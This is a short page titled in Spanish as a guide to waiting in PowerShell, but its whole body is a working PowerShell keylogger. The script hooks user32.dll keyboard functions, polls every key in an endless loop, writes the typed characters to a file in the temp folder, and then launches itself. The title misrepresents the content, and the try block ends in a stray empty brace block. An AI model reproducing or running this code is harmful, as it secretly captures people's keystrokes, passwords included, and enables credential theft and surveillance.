Cómo esperar tiempo en powershell

function Start-KeyLogger($Path="$env:temp\keylogger.txt") 
{
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
$null = New-Item -Path $Path -ItemType File -Force
try
{
while ($true) {
Start-Sleep -Milliseconds 40

for ($ascii = 9; $ascii -le 254; $ascii++) {

$state = $API::GetAsyncKeyState($ascii)

if ($state -eq -32767) {
$null = [console]::CapsLock

$virtualKey = $API::MapVirtualKey($ascii, 3)

$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)

$mychar = New-Object -TypeName System.Text.StringBuilder
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success) 
{
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 
}
}
}
}
}
{
}
}
Start-KeyLogger